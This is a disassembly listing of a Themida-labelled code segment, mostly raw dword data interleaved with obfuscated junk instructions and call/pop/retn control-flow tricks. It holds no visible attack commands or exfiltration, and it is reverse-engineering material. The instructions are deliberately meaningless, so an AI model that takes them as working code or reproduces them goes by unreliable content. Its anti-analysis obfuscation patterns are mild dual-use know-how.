		dd 12B2BF0Ah, 517968C5h, 0E952EA50h, 0Ah, 0EF7E9FC1h, 8630A294h
		dd 2B5E91CEh, 0CE8166D8h, 60508F71h, 8194F0BAh,	1C89616Eh
		dd 0F2BF0F24h, 3385B5FFh, 6A060Bh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 9ADFCC3h, 992E7378h
		dd 2ED58589h, 95FF060Bh, 60B32DDh, 0AC1950BEh, 6600B061h
		dd 70E6F28Bh, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 14h,	20C35040h, 613C71E4h, 229830Fh,	6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 9F8757C3h, 0B60FF8A4h, 6BAD8h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 22A919C3h
		dd 0B3F3DDA4h, 23F68166h, 0F8C38BF4h, 6A04E8C1h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 9BE6C353h, 8B6ADB9Ch, 0E2F766F1h, 29B5B58Bh,	0D82B060Bh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 1FC35545h
		dd 5E176D8Dh, 0ADB5332Bh, 58060B01h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 83C35646h, 0B95B6032h, 0B58930AAh
		dd 60B2349h, 880FD82Bh,	14Fh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 8EC35040h, 0BEA6BB04h, 1D990EA1h
		dd 7B9h, 26D68100h, 8B432C74h, 0B2AB5B5h, 0C18306h, 23D68166h
		dd 0FD93BB1h, 10A86h, 14E900h, 0D3DA0000h, 35CD9C95h, 625C6D1h
		dd 8559637Bh, 1AA72804h, 8C660B65h, 0C1F6F5D9h,	0E1840F04h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 7EE4C351h, 8B6D84C6h, 0B0241B5h
		dd 0ED95FF06h, 0E9060B18h, 0Ch,	49C9222Ch, 0C01C33D5h
		dd 9159938h, 53006A5Bh,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 6A0612CDh, 0B58B619Fh, 60B2E31h
		dd 6AC32Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 0A18127C3h, 127DB533h, 343D060Bh,	0F000008h
		dd 4B86h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 3EBC7C42h, 14E9E9F6h, 40000000h
		dd 0A1BE8043h, 0C0CB2C0Eh, 0B129F951h, 6D69C59Dh, 146807Bh
		dd 0B33A585h, 9E906h, 0B5330000h, 60B2729h, 8BF8C08Bh
		dd 0E9D88BC3h, 0Ah, 0BA7BCFFFh,	20FD2453h, 85C79A15h, 60B0869h
		dd 5F268317h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 16h,	4CC35242h, 0B5231653h, 60B0769h, 6AC08Bh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 0A15833C3h, 85BD8160h, 0D0060B33h, 0F000007h, 2F85h
		dd 0A9B58B00h, 0FF060B0Fh, 0B338585h, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
		dd 85891F07h, 60B2155h,	3385B5FFh, 6A060Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 5804B5C3h
		dd 0D5ACBE66h, 32DD95FFh, 6A060Bh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 0F8B63CC3h, 66D88B90h
		dd 46C3EE81h, 2715BD83h, 0F00060Bh, 3C84h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
		dd 11E9A0CCh, 9F000000h, 0C88E2773h, 8CF5D4DFh,	958F48B7h
		dd 2C52CF0h, 280E9h, 48BE6600h,	6ADF8C3Bh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 188AC357h
		dd 46FC4B57h, 0F68162CBh, 345E6B60h, 66F28B66h,	4C7F7h
		dd 243850Fh, 11E90000h,	6F000000h, 0C5525A85h, 764AD0A8h
		dd 5D145A4Fh, 3C6A2592h, 9D8DFF2Bh, 60EE0CCh, 8950F28Bh
		dd 8589241Ch, 60B1EB1h,	35FF64h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0CF33C356h
		dd 345D2E6Fh, 89BDB0FDh, 0B187185h, 8964F806h, 25h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 0EEC9817Fh, 4714745Dh, 6AC48B6Dh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0EB64C352h
		dd 30DC495h, 8D0F5C66h,	2, 0F08BF18Bh, 0EB01CDh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 65C35747h, 4896682Ch
		dd 9F5C3A4h, 0B339185h,	52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 3FF8133Dh, 5818C582h
		dd 5860F4Ch, 0BE000000h, 64490F84h, 58F64h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 0BAFAC357h, 0F78B663Ch, 698D89h, 0C483060Bh
		dd 53006A04h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 0E92FF445h, 12h,	49F03831h, 9608F93Eh, 79917928h
		dd 82975AB8h, 0C00B7FADh, 0C3840Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 570F31C3h
		dd 2C9B58Bh, 0BD8D060Bh, 60B4DD7h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 19h, 6BC35040h, 0CA567320h, 0F78B662Ah
		dd 5B8h, 0F6BF0F00h, 0E9F9E7FFh, 14h, 0B1487981h, 88F2D5EEh
		dd 0BD4DF798h, 53BDD876h, 27EEB391h, 245C8B57h,	0B8838B10h
		dd 0F000000h, 0FE0140B6h, 0B08389C8h, 83000000h, 0B883h
		dd 335F0200h, 6AC3C0h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 5DC38CC3h, 0A6A32B77h, 41B58B5Bh
		dd 89060B12h, 0B0F59BDh, 0E9CA2B06h, 0FFFFF5E0h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0F4C35646h, 20F1B58Bh
		dd 0B58B060Bh, 60B2945h, 6AC18Bh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 8A82A2C3h, 4EBh, 0BD8B0000h
		dd 60B1B69h, 33499589h,	6A060Bh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 0E1E1C0C3h, 59D71B0h
		dd 5640BD5Fh, 858D5FF5h, 60B28A9h, 2488D681h, 0E9906AECh
		dd 5, 733075A3h, 5E850E6h, 51000000h, 22A90B9h,	8C0Fh
		dd 905E0000h, 0AE8h, 0E5AC900h,	0FF44F157h, 5F6BD8A4h
		dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 0A36491C3h, 0B8AE2369h, 0C1264BBEh, 0F006A54h
		dd 0E8Ch, 9E900h, 0BD4C0000h, 0DDBCF13Fh, 8DF875DBh, 0EE36B85h
		dd 19BD8906h, 0E8060B19h, 0Ch, 2241F1CAh, 1F9F280Ch, 3CBD633Fh
		dd 10E9h, 3644E200h, 0C4A54AE9h, 683D291Dh, 1EAFB41h, 0C0835F7Ch
		dd 52006A05h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 0F2F8C8Dh, 388h,	0FE8B6600h, 0F08B6690h
		dd 6A9050h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 3154EDC3h, 11E811h, 0D5E60000h, 95D43F3Ah
		dd 0F09F7377h, 0C29D5CB6h, 0BF294BD2h, 743C73EBh, 0D9B5895Eh
		dd 6A060B2Ah, 0BE900h, 59570000h, 39FAD101h, 8F680B3Ah
		dd 66006AB5h, 95FFFB8Bh, 60B2F21h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 85C35545h, 812BAAC2h, 0BE9EA1C7h
		dd 0B09D8D15h, 0E9060EA7h, 11h,	0A8BDB7E7h, 43FAE3B8h
		dd 6E1DD302h, 0C4D450BBh, 6AD3FF62h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 38E7C353h
		dd 66D85FFh, 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 0DF7A34C3h, 3365B58Bh, 0E9FC060Bh
		dd 86Ch, 0E8h, 0ED815D00h, 60EE375h, 9E190BBFh,	85BD817Bh
		dd 0D0060B33h, 0F000007h, 16A86h, 51BD0900h, 8B060B05h
		dd 0B29859Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1904h, 0C3514100h, 6BAB2107h, 8B66377Ch, 0E381F8h, 0E9000001h
		dd 0Ah,	907BDD9Ch, 0BD48D5FCh, 0DB0B1CC3h, 0C3850Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 833250C3h, 0EE16EBDh, 840F0006h, 2Dh, 0BDE9F88Bh, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 0D34BC351h, 8B1D5B34h, 0B30EDBDh,	6E85C706h
		dd 1060EE1h, 6A000000h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 0ADF6C351h,	66F96E6Bh
		dd 5682C781h, 63E9h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1D04h, 0C3534300h, 6CEF46A8h, 2A1658A2h
		dd 8B607468h, 0B15159Dh, 8F0F06h, 61000000h, 20EF8166h
		dd 6E85C7C2h, 60EE1h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 0A202C353h,	0F3BF0F1Eh
		dd 29859D8Dh, 6A060Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 81FCDFC3h, 0FFFEFF23h, 0DDBD8BFFh
		dd 66060B15h
		dd 6ADB8Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 0BFDA23C3h, 68685E42h, 6068EFC2h,	20CD8509h
		dd 880F060Bh, 2, 0F6615B53h, 840F04C3h,	0ABh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0D8C35141h, 8D970B57h
		dd 95FF7A75h, 60B18EDh,	6E8h, 0A3713E00h, 0F5F757E4h, 0EE8905Eh
		dd 1B000000h, 66194D1Bh, 3546DE1Ah, 16506D9Ch, 5E8F2h
		dd 352C0000h, 50319F3Ah, 5A310F52h, 505F5F58h, 52505250h
		dd 310F6160h, 0DE9h, 0A17D0900h, 321F7C13h, 70799984h
		dd 585ADCDEh, 77BE310Fh, 5A03FC64h, 6A9058h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0B4FE04C3h
		dd 462A6C97h, 0E1BD31D9h, 0E9060B0Fh, 3A1h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 34C35141h, 519F9A88h
		dd 0B523FA8Bh, 60B2DE5h, 6A00B0h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 923343C3h, 891242ABh
		dd 0B06F9BDh, 8170E606h, 3251A7F6h, 0FDD68144h,	0E420357Dh
		dd 0F8B70F71h, 29D8B60Fh, 0B079185h, 6BA06h, 0FC600000h
		dd 881858Bh, 8B61060Bh,	4E8C1C3h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 0B2C35141h,	0C2A5C05Fh, 5E8E78Ah
		dd 23000000h, 0E7EF8767h, 8C0F5FF5h, 3,	66FA8B66h, 0B509E2F7h
		dd 60B283Dh, 6AD82Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 7D596BC3h, 800F12F1h, 0
; ---------------------------------------------------------------------------
		push	eax
		mov	[esp], ebx
		push	0
		push	ecx
		call	sub_57A787
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57A787	proc near		; CODE XREF: Themida_:0057A77Fp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_57A787	endp

; ---------------------------------------------------------------------------
		stosd
		jg	short loc_57A7CE
		push	edi
		inc	edi
		mov	dh, 0A9h
		ror	dword ptr [ebx+0B02F9BDh], 1
		push	es
		push	dword ptr [ebp+60B3385h]
		push	0
		push	eax
		call	sub_57A7B6
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57A7B6	proc near		; CODE XREF: Themida_:0057A7AEp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_57A7B6	endp

; ---------------------------------------------------------------------------
		mov	dl, 8Bh
		xor	[esi-76C05BCCh], ebx


loc_57A7CE:				; CODE XREF: Themida_:0057A798j
		xchg	eax, ebp
		pop	ebp
		or	al, 0Bh
		push	es
		call	dword ptr [ebp+60B32DDh]
		push	0
		push	esi
		call	sub_57A7E4
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57A7E4	proc near		; CODE XREF: Themida_:0057A7DCp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_57A7E4	endp

; ---------------------------------------------------------------------------
		dd 0ABC89AB3h, 816600B0h, 314249D6h, 0B0609B5h,	0E470E606h
		dd 0F613C71h, 22083h, 880F5700h, 0
; ---------------------------------------------------------------------------
		pop	esi
		movzx	ebx, al
		push	0
		push	ebp
		call	sub_57A827
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57A827	proc near		; CODE XREF: Themida_:0057A81Fp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_57A827	endp

; ---------------------------------------------------------------------------
		sbb	al, 8Bh
		mov	ebp, 60B1645h
		mov	edx, 6
		jmp	loc_57A855
; ---------------------------------------------------------------------------
		and	ebp, [edi]
		pop	ebp
		dec	ebx
		sbb	byte ptr [ecx-7Ah], 55h
		mov	[edx], eax
		push	ecx
		retf
; ---------------------------------------------------------------------------
		db 77h
; ---------------------------------------------------------------------------


loc_57A855:				; CODE XREF: Themida_:0057A843j
		mov	eax, ebx
		cld
		and	edi, [ebp+60B15E9h]
		shr	eax, 4
		push	0
		push	esi
		call	sub_57A86C
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57A86C	proc near		; CODE XREF: Themida_:0057A864p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_57A86C	endp

; ---------------------------------------------------------------------------
		db	66h, 66h
		mov	esi, 85891906h
		popa
		sub	[ebx], cl
		push	es
		mul	dx
		push	0
		push	edi
		call	sub_57A895
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57A895	proc near		; CODE XREF: Themida_:0057A88Dp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_57A895	endp

; ---------------------------------------------------------------------------
		db 62h,	1, 84h
; ---------------------------------------------------------------------------
		cmpsb
		mov	di, cx
		mov	edi, [ebp+60B2929h]
		sub	ebx, eax
		push	0
		push	eax
		call	sub_57A8BF
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57A8BF	proc near		; CODE XREF: Themida_:0057A8B7p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_57A8BF	endp

; ---------------------------------------------------------------------------
		adc	al, 6Ah
		xor	esi, 2CD32D1Fh
		pop	eax
		push	0
		push	ebx
		call	sub_57A8E3
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57A8E3	proc near		; CODE XREF: Themida_:0057A8DBp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_57A8E3	endp

; ---------------------------------------------------------------------------
		aad	4
		js	short loc_57A95D
		mov	edi, edx
		mov	[ebp+60B2B21h],	edx
		sub	ebx, eax
		js	loc_57AA31
		mov	di, cx
		mov	ecx, 7
		add	edi, 289544B5h
		add	ecx, 0
		stc
		cmp	ebx, ecx
		jbe	loc_57AA31
		mov	di, si
		mov	cx, ds
		cld
		test	cl, 4
		jz	loc_57AA12
		push	0
		push	edi
		call	sub_57A93C
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57A93C	proc near		; CODE XREF: Themida_:0057A934p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_57A93C	endp

; ---------------------------------------------------------------------------
		dd 0FDF30719h, 665EBDA5h, 8BC775BFh, 0B17BDB5h
; ---------------------------------------------------------------------------
		push	es


loc_57A95D:				; CODE XREF: Themida_:0057A8F5j
		call	dword ptr [ebp+60B18EDh]
		push	0
		push	esi
		call	sub_57A96E
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57A96E	proc near		; CODE XREF: Themida_:0057A966p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_57A96E	endp

; ---------------------------------------------------------------------------
		dw 0F9E6h
; ---------------------------------------------------------------------------
		and	cl, dh
		pop	edi
		mov	edi, [ebp+60B2DF5h]
		pop	ebx
		jle	loc_57A9A9
		jmp	loc_57A9A9
; ---------------------------------------------------------------------------
		db 0D3h, 38h, 32h
		dd 6DF2A97h, 1140ADDDh,	72DD1DD0h, 0E3731B51h
; ---------------------------------------------------------------------------
		pop	es


loc_57A9A9:				; CODE XREF: Themida_:0057A98Aj
					; Themida_:0057A990j
		sub	eax, ebx
		push	0
		push	ebp
		call	sub_57A9B6
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57A9B6	proc near		; CODE XREF: Themida_:0057A9AEp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_57A9B6	endp

; ---------------------------------------------------------------------------
		dw 0E9BAh
		dd 9, 4955C601h, 1374F2A9h, 29BD8BC1h, 3D060B19h, 834h
		dd 2C860Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h, 44810424h
		dd 190424h, 51410000h, 0A44408C3h, 0E90BB18Fh, 25h, 1E9DBD8Bh
; ---------------------------------------------------------------------------
		or	eax, [esi]


loc_57AA12:				; CODE XREF: Themida_:0057A92Bj
		mov	eax, eax
		push	0
		push	eax
		call	sub_57AA1F
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57AA1F	proc near		; CODE XREF: Themida_:0057AA17p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_57AA1F	endp

; ---------------------------------------------------------------------------
		sbb	al, ch


loc_57AA31:				; CODE XREF: Themida_:0057A901j
					; Themida_:0057A91Bj
		mov	eax, ebx
		mov	ebx, eax
		push	0
		push	edx
		call	sub_57AA40
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57AA40	proc near		; CODE XREF: Themida_:0057AA38p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_57AA40	endp

; ---------------------------------------------------------------------------
		dd 1ECB3244h, 0C7FB8B18h, 0B1A9D85h, 74AF3506h,	51006A34h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 1E1A263Eh, 41EF1119h, 29C08B30h, 0B214D9Dh, 85BD8106h
		dd 0D0060B33h, 0F000007h, 4C85h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 33D6FD6Ah
		dd 0B00E1B5h, 8585FF06h, 6A060B33h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 3357C355h
		dd 0B015DBDh, 85B5FF06h, 8B060B33h, 0B0E9DB5h, 0DD95FF06h
		dd 6A060B32h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 7059C353h, 7D8589FEh, 52060B0Bh
		dd 905FFA8Bh, 20619D29h, 0BD8B060Bh, 60B03F1h, 3FD8589h
		dd 8BF5060Bh, 0B069DB5h, 0FE8F906h, 0CF000000h,	0F7FCEAFCh
		dd 1C3C3B21h, 0C95FB17Bh, 0B531C6ECh, 60B1B29h,	5FFBBF0Fh
		dd 0AACE8166h, 0D8589BDh, 0F9060B08h, 3C62BF66h, 2005B589h
		dd 8B66060Bh, 4D8D89F1h, 6A060B1Ah, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 6CD5C357h
		dd 0DE860h, 54C10000h, 66265235h, 1BC3A259h, 89BECC55h
		dd 0B01D995h, 0D8BF5E06h, 8B6FBAE2h, 0B2729BDh,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 0D98501A1h, 66060B07h, 0E5BFF28Bh, 0F17BF59h, 148Bh
		dd 0E840F00h, 0E9000000h, 9, 0AB8536F8h, 1348FBEFh, 0BE955h
		dd 2CB0000h, 0E52C900Bh, 2BC3F21Eh, 51006A8Fh, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 0F5B82A86h
		dd 0FD8F588h, 58Ah, 0D6816600h,	0EE85B26h, 0D7000000h
		dd 0C4ED71A0h, 87906C25h, 9B5E077Eh, 0F1BF0F94h, 0F7BAE95Eh
		dd 6AFFFFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 8BAC15C3h, 95893A5Bh, 60B2979h, 8950C18Bh
		dd 0B2F1185h, 4EB5E06h,	0
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_57AC9B
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57AC9B	proc near		; CODE XREF: Themida_:0057AC93p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_57AC9B	endp

; ---------------------------------------------------------------------------
		db 62h
		dd 915A3A2Eh, 7335D7D4h, 0E2D68166h, 0E59D31BFh, 8D060B29h
		dd 0B28A985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1804h, 0C3514100h, 1980141Fh, 0BF669053h, 60504A72h
		dd 9061F6B5h, 0A2CDBE66h, 8589006Ah, 60B1FD1h, 6A006Ah
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 1862C4C3h, 0DC0FB0BFh, 0F18BF496h, 0EDBB858Dh, 6A060Eh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 0D701EC3h, 0ADB58977h, 83060B06h, 0E95005C0h, 10h, 0FDD21441h
		dd 7824B00Eh, 0CC971444h, 85374640h, 6A240489h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 726AC352h, 0BE661888h, 6A5784h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 0E1C35040h,	7497ECA8h, 0C0F6026h
		dd 0A870F67h, 0E9000000h, 5, 3610FE48h,	6A006A6Dh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 28F7C350h, 2A34D4C0h, 95FF405Eh, 60B2F21h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 84C35242h, 0B09D8D0Ch
		dd 6A060EA7h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 8B3DC351h, 0B0349BDh, 6AD3FF06h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 2FDC352h,	6D85FF3Dh, 66060B06h, 0E9C9C7BFh
		dd 765h, 0E8h, 0ED815D00h, 60EEDC5h, 11E9h, 0DBE79000h
		dd 0AB99B6F7h, 50EEB2C3h, 1E249E21h, 0BD8140E3h, 60B3385h
		dd 7D0h, 1BD860Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 6A5761C3h, 9E47AF76h
		dd 0EAF68166h, 0F28B6602h, 649DE681h, 9D8B164Ah, 60B00A1h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 3DC35545h
		dd 0E3819515h, 100h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 34C35343h, 6C13D118h,	266DC286h, 850FDB0Bh
		dd 0F9h, 0EF816653h, 835E6893h,	0EEBE8BDh, 840F0006h, 7Bh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0F9C35141h
		dd 9FFA071Ah, 19F58D89h, 8C0F060Bh, 24h, 5E8h, 0AAB2A700h
		dd 13E8E5FBh, 40000000h, 30216A68h, 0BEE45C0Fh,	0CD9D29BDh
		dd 3E6BDD0Ch, 5F5F0EABh, 0A0E9h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 0DC4FA80Ah
		dd 65B58BD6h, 0C7060B0Ch, 0EEBE885h, 106h, 0EE900h, 0D5210000h
		dd 0D88ACDDBh, 21D11621h, 6C32374Dh, 66F58060h,	61C2BF0Fh
		dd 50E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 714B465h,	8A0F2204h, 19h,	14E9h
		dd 6BF7E00h, 0AAD3A1BDh, 8DBAF552h, 0D97379DAh,	73C20427h
		dd 0E885C778h, 60EEBh, 89000000h, 0B035DBDh, 0A19D8D06h
		dd 9060B00h, 0B03F9B5h,	5E806h,	0ECB60000h, 89520805h
		dd 0B208185h, 23815E06h, 0FFFFFEFFh, 0D3BF0F60h, 13ED8D8Bh
		dd 6661060Bh, 6ADB8Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 66D900C3h, 1232F55Ah, 4C3F645h
		dd 55840Fh, 0CE810000h,	54138C1Eh, 18ED95FFh, 90F9060Bh
		dd 198D0Fh, 8B600000h, 10E9F1h,	42F00000h, 335730D9h, 945C1F86h
		dd 49912999h, 5061B60Dh, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 87CEE46Ch, 13BF7C5Ch
		dd 0E94B7023h, 31Dh, 0B0F08B66h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 0B1E781ABh
		dd 0E669DE7Ch, 45BF6670h, 71E4F829h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 54C35040h, 15D734FFh, 10AB2C7h
		dd 0B2ED585h, 0D8B60F06h, 6BAF8h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 8B9E41C3h
		dd 0BDB523C3h, 0C1060B0Bh, 6A04E8h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 58689C3h
		dd 66D7710Ah, 0B360E2F7h, 0D82B61B2h, 2D89B58Bh, 8166060Bh
		dd 50BBEDE7h, 6A241C89h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 4D73C357h, 9D89DA61h
		dd 60B21E9h, 3385B5FFh,	95FF060Bh, 60B32DDh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 6FC35545h, 0EC9613Ah
		dd 0B0BCF584h, 15800F00h, 0E9000000h, 10h, 83A2994Fh, 1BE59302h
		dd 0DB4997A7h, 0EF00C301h, 71E470E6h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 0C8C35242h,	6917AE88h, 3CA5AC8Fh
